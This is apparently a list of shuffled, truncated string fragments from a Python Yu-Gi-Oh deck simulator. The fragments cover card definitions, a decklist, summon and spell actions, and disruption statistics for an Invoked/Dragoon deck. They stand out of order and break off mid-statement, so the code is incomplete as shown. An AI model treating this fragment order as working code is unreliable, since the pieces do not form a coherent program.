"return my_card, opp_card ######### # Actions ######### def action_use_upstart(self, game: Game) -> Optional[Game]:",
"if self.red_eyes in game.deck: red_eyes_location = game.deck elif self.red_eyes in game.hand: red_eyes_location =",
"game.backrow: if card in self.cards_to_set: pure_distruptions += 1 if card == self.prison: game.disruptions.add(self.disr_prison)",
"game.monsters: game.move(game.monsters, game.grave, self.jester) elif self.souls in game.monsters: game.move(game.monsters, game.grave, self.souls) else: return",
"= Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio = Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega = Card(\"Psy-framelord Omega\",",
"return self.lightstage else: return None def select_set_rotation_targets(self, game: Game) -> List[Card]: my_card, opp_card",
"and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal summon\") if self.invocation in game.deck: game.move(game.deck,",
"Magician\", CardType.MONSTER) red_eyes = Card(\"Red-Eyes Black Dragon\", CardType.MONSTER) ref = Card(\"Red-Eyes Fusion\", CardType.SPELL)",
"\"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ] def postprocess(self, game:",
"2), (ref, 3), (magicalized_fusion, 1), (candina, 1), (corobane, 1), (lightstage, 1), # (upstart,",
"game def action_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in game.hand and",
"not (my_card and opp_card): return None else: game.use_resource(\"activate field spell\") game.move(game.hand, game.grave, self.set_rotation)",
"CardType, DeckList, Disruption, Manager, Card, Game class InvokedDragoonManager(Manager): # Invoked aleister = Card(\"Aleister",
"return None game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck,",
"game.hand, self.lightstage) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_use_lightstage(self,",
"game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions += 1 for card in game.hand: if card in",
"omega = Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte = Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK) dragoon =",
"0 else: redundant_cards[card] = 2 elif count == 2: if card in self.not_opt:",
"action_use_meltdown(self, game: Game) -> Optional[Game]: if ( self.meltdown in game.hand and game.hopt_available(self.meltdown) and",
"Being\", CardType.MONSTER) ash = Card(\"Ash Blossom & Joyous Spring\", CardType.MONSTER) ogre = Card(\"Ghost",
"else: return None game.move(game.extra_deck, game.monsters, self.artemis) return game def action_summon_almiraj(self, game: Game) ->",
"CardType.EXTRA_DECK) augoeides = Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio = Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega =",
"): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.jester) return game def action_summon_corobane(self, game: Game) ->",
"self.souls) game.use_hopt(self.souls, \"summon\") return game def action_normal_summon_souls(self, game: Game) -> Optional[Game]: if (",
"typing import List, Optional, Tuple from framework import CardGroup, CardType, DeckList, Disruption, Manager,",
"self.dragoon in game.extra_deck and not game.monsters.cards ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not",
"(lightstage, 1), # (upstart, 1), (cyclone, 2), (judgment, 2), (upstart, 1), (duster, 1),",
"opp_card = None, None if self.meltdown in game.hand or self.aleister in game.hand: #",
"discards = (driver, duster, mind_control, upstart, cyclone) light_monsters = (corobane, candina, artemis, gardna,",
"in to_return if redundant_cards[card] > 1] def find_dragoons_materials( self, game: Game ) ->",
"game.resource_available(\"activate field spell\") ): if self.meltdown in game.hand or self.aleister in game.hand: game.move(game.hand,",
"# Selects ######### def select_invocation_banish_from_grave(self, game: Game) -> Optional[Card]: return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self,",
"and game.resource_available(\"summon\") ): dump_target = self.select_souls_dump(game) if not dump_target: return None game.move(game.deck, game.grave,",
"{} # higher value means more redundant hand = game.hand.cards[:] for card in",
"# Extenders jester = Card(\"Jester Confit\", CardType.MONSTER) souls = Card(\"Magicians' Souls\", CardType.MONSTER) #",
"return game def action_summon_mechaba(self, game: Game) -> Optional[Game]: if ( self.invocation in game.hand",
"meltdown = Card(\"Magical Meltdown\", CardType.SPELL) terraforming = Card(\"Terraforming\", CardType.SPELL) # Extenders jester =",
"in game.deck: game.move(game.deck, game.hand, self.lightstage) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return",
"2) disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison =",
"self.artemis) return game def action_summon_almiraj(self, game: Game) -> Optional[Game]: if ( self.almiraj in",
"Card, Game class InvokedDragoonManager(Manager): # Invoked aleister = Card(\"Aleister the Invoker\", CardType.MONSTER) invocation",
"CardType.TRAP) # Dragoons dm = Card(\"Dark Magician\", CardType.MONSTER) red_eyes = Card(\"Red-Eyes Black Dragon\",",
"Fusion\", CardType.SPELL) # Misc fleur = Card(\"<NAME>, the Knighted\", CardType.MONSTER) droplet = Card(\"Forbidden",
"self.aleister in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal",
"and game.hopt_available(self.jester) and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester) return game def action_normal_summon_jester(self,",
"(ash, ogre, veiler, imperm, nibiru, droll, crow, belle, meister, gamma) protection = (belle,",
"disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison = Disruption(repr(prison), 2) disr_judgment = Disruption(repr(judgment), 2)",
"game def action_summon_corobane(self, game: Game) -> Optional[Game]: if ( self.corobane in game.hand and",
"== CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions += 1 for card in game.hand: if",
"game.monsters: game.move(game.monsters, game.grave, self.souls) else: return None game.move(game.extra_deck, game.monsters, self.artemis) return game def",
"\"draw\") if self.meltdown in game.backrow: game.move(game.backrow, game.grave, self.meltdown) game.draw() fodder = self.select_souls_fodder(game, 1)",
"return game def action_summon_almiraj(self, game: Game) -> Optional[Game]: if ( self.almiraj in game.extra_deck",
"def select_souls_fodder(self, game: Game, count: int) -> List[Card]: fodder = [] cards =",
"game.hand, self.corobane) return game def action_summon_mechaba(self, game: Game) -> Optional[Game]: if ( self.invocation",
"self.candina in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters,",
"3 and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game def get_redundant_cards_in_hand( self, game: Game, include_useful:",
"game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna) return game def action_summon_souls(self, game:",
"game.banished, self.aleister) elif self.aleister in game.monsters: game.move(game.monsters, game.banished, self.aleister) else: return None if",
"game.hand and game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\") ): dump_target = self.select_souls_dump(game) if not dump_target:",
"card = monsters.pop() if card in self.verte_materials: materials.append(card) if len(materials) < 2: return",
"Control\", CardType.SPELL) prison = Card(\"Ice Dragon's Prison\", CardType.TRAP) judgment = Card(\"Solemn Judgment\", CardType.TRAP)",
"return game def action_use_set_rotation(self, game: Game) -> Optional[Game]: if self.set_rotation in game.hand: my_card,",
"1), (duster, 1), (mind_control, 1), (set_rotation, 1), (called, 1), ), ( (almiraj, 1),",
"self.lightstage in game.deck: return self.lightstage else: return None def select_set_rotation_targets(self, game: Game) ->",
"if ( self.souls in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\")",
"if self.aleister in game.grave: game.move(game.grave, game.banished, self.aleister) elif self.aleister in game.monsters: game.move(game.monsters, game.banished,",
"and game.hopt_available(self.corobane) and not game.monsters.cards and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane) return",
"Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio = Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega = Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK)",
"self.not_opt: redundant_cards[card] = 1 else: redundant_cards[card] = 2 else: redundant_cards[card] = 3 to_return",
"and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj) return game def action_summon_gardna(self,",
"game.hand, self.corobane) elif self.candina in game.deck: game.move(game.deck, game.hand, self.candina) return game else: game.move(game.hand,",
"not target: return None game.move(game.hand, game.grave, self.terraforming) game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming) return game",
"self.corobane) return game def action_use_lightstage(self, game: Game) -> Optional[Game]: if ( self.lightstage in",
"= game.hand return dm_location, red_eyes_location ######### # Selects ######### def select_invocation_banish_from_grave(self, game: Game)",
"the Knighted\", CardType.MONSTER) droplet = Card(\"Forbidden Droplet\", CardType.SPELL) called = Card(\"Called by the",
"means more redundant hand = game.hand.cards[:] for card in hand: if count :=",
"return game def action_use_terraforming(self, game: Game) -> Optional[Game]: if self.terraforming in game.hand and",
"CardType.MONSTER) # Trickstar Engine candina = Card(\"Trickstar Candina\", CardType.MONSTER) corobane = Card(\"Trickstar Corobane\",",
"len(materials) < 2: return None for material in materials: game.move(game.monsters, game.grave, material) game.move(game.extra_deck,",
"return game def action_summon_gardna(self, game: Game) -> Optional[Game]: if ( self.gardna in game.extra_deck",
"game.banished: continue if card == self.imperm: continue pure_distruptions += 1 game.disruptions.add(Disruption(repr(card), 1)) for",
"Game) -> Optional[Game]: if self.artemis in game.extra_deck and game.resource_available(\"summon\"): if self.aleister in game.monsters:",
"game.has_flag(\"mechaba\"): pure_distruptions += 1 for card in game.hand: if card in self.hand_traps: if",
"# make a copy so we can modify hand if card in self.cards_to_set:",
"Invoker\", CardType.MONSTER) invocation = Card(\"Invocation\", CardType.SPELL) meltdown = Card(\"Magical Meltdown\", CardType.SPELL) terraforming =",
"(S)\", 0) disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison = Disruption(repr(prison), 2) disr_judgment =",
"CardType.TRAP) judgment = Card(\"Solemn Judgment\", CardType.TRAP) # Extra Deck carrier = Card(\"Union Carrier\",",
"game.move(game.hand, game.grave, fodder.pop()) game.draw() return game def action_summon_jester(self, game: Game) -> Optional[Game]: if",
"game.monsters, self.jester) return game def action_summon_corobane(self, game: Game) -> Optional[Game]: if ( self.corobane",
"called, imperm, prison, cyclone) discards = (driver, duster, mind_control, upstart, cyclone) light_monsters =",
"2 and monsters: card = monsters.pop() if card in self.verte_materials: materials.append(card) if len(materials)",
"= Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver = Card(\"PSY-Frame Driver\", CardType.MONSTER) crow = Card(\"D.D. Crow\",",
"make a copy so we can modify hand if card in self.cards_to_set: game.move(game.hand,",
"= Card(\"Terraforming\", CardType.SPELL) # Extenders jester = Card(\"Jester Confit\", CardType.MONSTER) souls = Card(\"Magicians'",
"return game def action_normal_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in game.hand",
"[\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ] def postprocess(self, game: Game):",
"& Snow Rabbit\", CardType.MONSTER) droll = Card(\"Droll & Lock Bird\", CardType.MONSTER) veiler =",
"-> Optional[Game]: if self.artemis in game.extra_deck and game.resource_available(\"summon\"): if self.aleister in game.monsters: game.move(game.monsters,",
"game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.candina) if self.lightstage in game.deck: game.move(game.deck, game.hand, self.lightstage) elif",
"game: Game) -> Optional[Game]: if ( self.fleur in game.hand and game.resource_available(\"summon\") and any(card.card_type",
"Card(\"Dark Magician\", CardType.MONSTER) red_eyes = Card(\"Red-Eyes Black Dragon\", CardType.MONSTER) ref = Card(\"Red-Eyes Fusion\",",
"game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.jester) return game def",
"= Card(\"Cosmic Cyclone\", CardType.SPELL) duster = Card(\"Harpie's Feather Duster\", CardType.SPELL) mind_control = Card(\"Mind",
"target) game.use_hopt(self.terraforming) return game def action_use_set_rotation(self, game: Game) -> Optional[Game]: if self.set_rotation in",
"self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_summon_fleur(self, game:",
"game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_summon_fleur(self, game: Game) ->",
"game.hand and game.resource_available(\"summon\") and any(card.card_type == CardType.EXTRA_DECK for card in game.monsters) ): game.move(game.hand,",
"elif card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions",
"and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna) return game def action_summon_souls(self,",
"if ( self.ref in game.hand and self.dragoon in game.extra_deck and not game.monsters.cards ):",
"my_card) game.deck.cards.remove(opp_card) return game def action_use_meltdown(self, game: Game) -> Optional[Game]: if ( self.meltdown",
"Game) -> Optional[Game]: if ( self.gardna in game.extra_deck and self.almiraj in game.monsters and",
"if card == self.imperm: continue pure_distruptions += 1 game.disruptions.add(Disruption(repr(card), 1)) for card in",
"2), (upstart, 1), (duster, 1), (mind_control, 1), (set_rotation, 1), (called, 1), ), (",
"Haunted Mansion\", CardType.MONSTER) meister = Card(\"Skull Meister\", CardType.MONSTER) imperm = Card(\"Infinite Impermanence\", CardType.TRAP)",
"Disruptions disr_dragoon = Disruption(repr(dragoon), 8) disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s = Disruption(f\"{repr(mechaba)}",
"of Desires\", CardType.SPELL) upstart = Card(\"Upstart Goblin\", CardType.SPELL) # Hand Traps nibiru =",
"self.meltdown in game.deck and game.hopt_available(self.meltdown) and self.meltdown not in game.hand and self.aleister not",
"while cards and len(fodder) < count: card = cards.pop() if card.card_type in [CardType.SPELL,",
"game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_use_ref(self, game: Game) ->",
"game.hand or self.aleister in game.hand: # we have a path to aleister. give",
"= 2 elif count == 2: if card in self.not_opt: redundant_cards[card] = 1",
"pure_distruptions += 1 for card in game.hand: if card in self.hand_traps: if card",
"-> Optional[Game]: if ( self.jester in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ):",
"-> Optional[Game]: if self.souls in game.monsters and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\") if self.meltdown",
"in game.hand: game.add_flag(\"mechaba\") if card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s)",
"action_use_ref(self, game: Game) -> Optional[Game]: if ( self.ref in game.hand and self.dragoon in",
"self.meltdown elif ( self.lightstage in game.deck and self.lightstage not in game.hand and not",
"CardType.MONSTER) invocation = Card(\"Invocation\", CardType.SPELL) meltdown = Card(\"Magical Meltdown\", CardType.SPELL) terraforming = Card(\"Terraforming\",",
"-> Optional[Game]: if ( self.candina in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ):",
"game.move(game.deck, game.hand, self.corobane) elif self.candina in game.deck: game.move(game.deck, game.hand, self.candina) return game else:",
"DeckList( ( (aleister, 3), (invocation, 2), (meltdown, 3), (terraforming, 1), (prison, 2), (imperm,",
") -> List[Card]: redundant_cards = {} # higher value means more redundant hand",
"action_summon_gardna(self, game: Game) -> Optional[Game]: if ( self.gardna in game.extra_deck and self.almiraj in",
"action_summon_fleur(self, game: Game) -> Optional[Game]: if ( self.fleur in game.hand and game.resource_available(\"summon\") and",
"if card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type ==",
"game: Game) -> Optional[Game]: if self.souls in game.monsters and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\")",
"and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.souls) return game",
"= Disruption(repr(aleister), 1) # Lists hand_traps = (ash, ogre, veiler, imperm, nibiru, droll,",
"redundant_cards[card] = 2 else: redundant_cards[card] = 3 to_return = sorted( redundant_cards.keys(), key=lambda x:",
"game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.souls) return game def action_use_souls(self, game: Game) -> Optional[Game]:",
"Card(\"Effect Veiler\", CardType.MONSTER) gamma = Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver = Card(\"PSY-Frame Driver\", CardType.MONSTER)",
"@classmethod def generate_stats(cls, end_games: List[Game]) -> List[List[str]]: return [ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\",",
"opp_card = self.select_set_rotation_targets(game) if not (my_card and opp_card): return None else: game.use_resource(\"activate field",
"game.hopt_available(self.meltdown) and self.meltdown not in game.hand and self.aleister not in game.hand ): return",
"# Process Disruptions pure_distruptions = 0 if self.dragoon in game.monsters and len(game.hand): game.add_flag(\"dragoon\")",
"Confit\", CardType.MONSTER) souls = Card(\"Magicians' Souls\", CardType.MONSTER) # Trickstar Engine candina = Card(\"Trickstar",
"if card in self.hand_traps: if card == self.gamma and self.driver in game.banished: continue",
"Game) -> Optional[Game]: if ( self.lightstage in game.hand and any(card in game.deck for",
"hand if card in self.cards_to_set: game.move(game.hand, game.backrow, card) # Process Disruptions pure_distruptions =",
"self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.move(game.hand, game.grave, self.ref) game.move(dm_location, game.grave,",
"self.ref in game.deck and self.dragoon in game.extra_deck ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if",
"game.deck: opp_card = self.meltdown else: if self.meltdown in game.deck: my_card = self.meltdown if",
"1: game.move(game.hand, game.grave, self.upstart) game.draw() return game def action_use_terraforming(self, game: Game) -> Optional[Game]:",
"game.monsters, self.souls) return game def action_use_souls(self, game: Game) -> Optional[Game]: if self.souls in",
"if fodder: game.move(game.hand, game.grave, fodder[0]) game.draw() else: fodder = self.select_souls_fodder(game, 2) if not",
"invocation = Card(\"Invocation\", CardType.SPELL) meltdown = Card(\"Magical Meltdown\", CardType.SPELL) terraforming = Card(\"Terraforming\", CardType.SPELL)",
"1 if card == self.prison: game.disruptions.add(self.disr_prison) elif card == self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card),",
"return None game.move(game.hand, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters,",
"game: Game) -> Optional[Game]: if self.verte in game.extra_deck and game.resource_available(\"summon\"): materials = []",
"and not game.monsters.cards ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location):",
"= Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage = Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation = Card(\"Set Rotation\",",
"game.hand and len(game.deck) > 1: game.move(game.hand, game.grave, self.upstart) game.draw() return game def action_use_terraforming(self,",
"if self.upstart in game.hand and len(game.deck) > 1: game.move(game.hand, game.grave, self.upstart) game.draw() return",
"action_use_terraforming(self, game: Game) -> Optional[Game]: if self.terraforming in game.hand and game.hopt_available(self.terraforming): target =",
"game.move(game.monsters, game.grave, self.jester) elif self.souls in game.monsters: game.move(game.monsters, game.grave, self.souls) else: return None",
"[] monsters = game.monsters.cards[:] while len(materials) < 2 and monsters: card = monsters.pop()",
"self.candina in game.hand) ): return self.lightstage elif self.meltdown in game.deck: return self.meltdown elif",
"game.deck: game.move(game.deck, game.hand, self.candina) return game else: game.move(game.hand, game.backrow, self.lightstage) # search candina",
"card in self.cards_to_set: game.move(game.hand, game.backrow, card) # Process Disruptions pure_distruptions = 0 if",
"Disruption(repr(aleister), 1) # Lists hand_traps = (ash, ogre, veiler, imperm, nibiru, droll, crow,",
"= 0 else: redundant_cards[card] = 2 elif count == 2: if card in",
"select_invocation_banish_from_grave(self, game: Game) -> Optional[Card]: return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game: Game) -> Optional[Card]:",
"mind_control, upstart, cyclone) light_monsters = (corobane, candina, artemis, gardna, fleur) not_opt = (imperm,",
"= Card(\"Harpie's Feather Duster\", CardType.SPELL) mind_control = Card(\"Mind Control\", CardType.SPELL) prison = Card(\"Ice",
"List[Game]) -> List[List[str]]: return [ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games,",
"CardType.SPELL) upstart = Card(\"Upstart Goblin\", CardType.SPELL) # Hand Traps nibiru = Card(\"Nibiru, the",
"Dragoons dm = Card(\"Dark Magician\", CardType.MONSTER) red_eyes = Card(\"Red-Eyes Black Dragon\", CardType.MONSTER) ref",
"candina = Card(\"Trickstar Candina\", CardType.MONSTER) corobane = Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage = Card(\"Trickstar",
"action_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in game.hand and game.hopt_available(self.souls, \"summon\")",
"= Card(\"PSY-Frame Driver\", CardType.MONSTER) crow = Card(\"D.D. Crow\", CardType.MONSTER) belle = Card(\"Ghost Belle",
"game else: game.move(game.hand, game.backrow, self.lightstage) # search candina to normal if self.candina in",
"in game.hand and game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\") ): dump_target = self.select_souls_dump(game) if not",
"game.hand: game.add_flag(\"mechaba\") if card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif",
"# Dragoons dm = Card(\"Dark Magician\", CardType.MONSTER) red_eyes = Card(\"Red-Eyes Black Dragon\", CardType.MONSTER)",
"CardType.SPELL) prison = Card(\"Ice Dragon's Prison\", CardType.TRAP) judgment = Card(\"Solemn Judgment\", CardType.TRAP) #",
"(gardna, 1), (mechaba, 2), (purgatrio, 1), (augoeides, 1), (omega, 1), (dragoon, 2), (verte,",
"fodder: game.move(game.hand, game.grave, fodder.pop()) game.draw() return game def action_summon_jester(self, game: Game) -> Optional[Game]:",
"and game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\") ): dump_target = self.select_souls_dump(game) if not dump_target: return",
"in game.hand: if card in self.hand_traps: if card == self.gamma and self.driver in",
"self.aleister in game.grave: game.move(game.grave, game.banished, self.aleister) elif self.aleister in game.monsters: game.move(game.monsters, game.banished, self.aleister)",
"game.draw() fodder = self.select_souls_fodder(game, 1) if fodder: game.move(game.hand, game.grave, fodder[0]) game.draw() else: fodder",
"= (driver, duster, mind_control, upstart, cyclone) light_monsters = (corobane, candina, artemis, gardna, fleur)",
"game.hand and game.hopt_available(self.jester) and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester) return game def",
"augoeides = Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio = Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega = Card(\"Psy-framelord",
"# search candina to normal if self.candina in game.deck: game.move(game.deck, game.hand, self.candina) elif",
"almiraj = Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna = Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis = Card(\"Artemis,",
"# Lists hand_traps = (ash, ogre, veiler, imperm, nibiru, droll, crow, belle, meister,",
"3 to_return = sorted( redundant_cards.keys(), key=lambda x: redundant_cards[x], reverse=True ) if include_useful: return",
"self.jester) game.use_hopt(self.jester) return game def action_normal_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester",
"red_eyes_location): return None game.move(game.hand, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck,",
"will be normaled if self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) elif self.candina in",
") -> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location = None, None if self.dm in game.deck:",
"\"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck, self.invocation) game.move(game.banished, game.hand, self.aleister) game.deck.shuffle() return game def",
"self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) elif self.candina in game.deck: game.move(game.deck, game.hand, self.candina)",
"game.move(game.extra_deck, game.monsters, self.mechaba) if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck, self.invocation) game.move(game.banished, game.hand,",
"# Disruptions disr_dragoon = Disruption(repr(dragoon), 8) disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s =",
"game def action_normal_summon_candina(self, game: Game) -> Optional[Game]: if ( self.candina in game.hand and",
"1), (dragoon, 2), (verte, 2), ), ) default_decklist = standard_decklist ######### # Helpers",
"for card in to_return if redundant_cards[card] > 1] def find_dragoons_materials( self, game: Game",
"def action_use_lightstage(self, game: Game) -> Optional[Game]: if ( self.lightstage in game.hand and any(card",
"self.jester in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters,",
"(driver, duster, mind_control, upstart, cyclone) light_monsters = (corobane, candina, artemis, gardna, fleur) not_opt",
"game.extra_deck and game.resource_available(\"summon\"): materials = [] monsters = game.monsters.cards[:] while len(materials) < 2",
"self.meltdown in game.deck: my_card = self.meltdown if self.lightstage in game.deck: opp_card = self.lightstage",
"target = self.select_terraforming_target(game) if not target: return None game.move(game.hand, game.grave, self.terraforming) game.move(game.deck, game.hand,",
"card) # Process Disruptions pure_distruptions = 0 if self.dragoon in game.monsters and len(game.hand):",
"opp_card): return None else: game.use_resource(\"activate field spell\") game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck, game.backrow, my_card)",
"in game.hand and self.mechaba in game.extra_deck and game.resource_available(\"summon\") ): if self.aleister in game.grave:",
"prison = Card(\"Ice Dragon's Prison\", CardType.TRAP) judgment = Card(\"Solemn Judgment\", CardType.TRAP) # Extra",
"in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_summon_mechaba(self, game: Game) -> Optional[Game]:",
"def action_use_verte(self, game: Game) -> Optional[Game]: if ( self.verte in game.monsters and game.hopt_available(self.verte)",
"1), # (upstart, 1), (cyclone, 2), (judgment, 2), (upstart, 1), (duster, 1), (mind_control,",
"self.set_rotation in game.hand: my_card, opp_card = self.select_set_rotation_targets(game) if not (my_card and opp_card): return",
"# artemis, almiraj, gardna? standard_decklist = DeckList( ( (aleister, 3), (invocation, 2), (meltdown,",
"mind_control = Card(\"Mind Control\", CardType.SPELL) prison = Card(\"Ice Dragon's Prison\", CardType.TRAP) judgment =",
"game.resource_available(\"summon\") ): if self.aleister in game.grave: game.move(game.grave, game.banished, self.aleister) elif self.aleister in game.monsters:",
"from framework import CardGroup, CardType, DeckList, Disruption, Manager, Card, Game class InvokedDragoonManager(Manager): #",
"game.disruptions.add(Disruption(repr(card), 1)) for card in game.backrow: if card in self.cards_to_set: pure_distruptions += 1",
"self.lightstage) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_use_lightstage(self, game:",
"dm_location = game.hand if self.red_eyes in game.deck: red_eyes_location = game.deck elif self.red_eyes in",
"self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba) if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck, self.invocation) game.move(game.banished,",
"game.backrow: game.move(game.backrow, game.grave, self.meltdown) game.draw() fodder = self.select_souls_fodder(game, 1) if fodder: game.move(game.hand, game.grave,",
"if grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target) elif field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished,",
"game.use_resource(\"summon\") return game def action_summon_fleur(self, game: Game) -> Optional[Game]: if ( self.fleur in",
"CardType.EXTRA_DECK) omega = Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte = Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK) dragoon",
"3), (terraforming, 1), (prison, 2), (imperm, 3), (ash, 3), (souls, 3), (dm, 2),",
"in game.hand: # we have a path to aleister. give them meltdown and",
"game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.souls) return game def",
"game def action_use_verte(self, game: Game) -> Optional[Game]: if ( self.verte in game.monsters and",
"Goblin\", CardType.SPELL) # Hand Traps nibiru = Card(\"Nibiru, the Primal Being\", CardType.MONSTER) ash",
"game.move(game.deck, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\")",
"if game.hopt_available(card): redundant_cards[card] = 0 else: redundant_cards[card] = 2 elif count == 2:",
"ogre, veiler, imperm, nibiru, droll, crow, belle, meister, gamma) protection = (belle, called)",
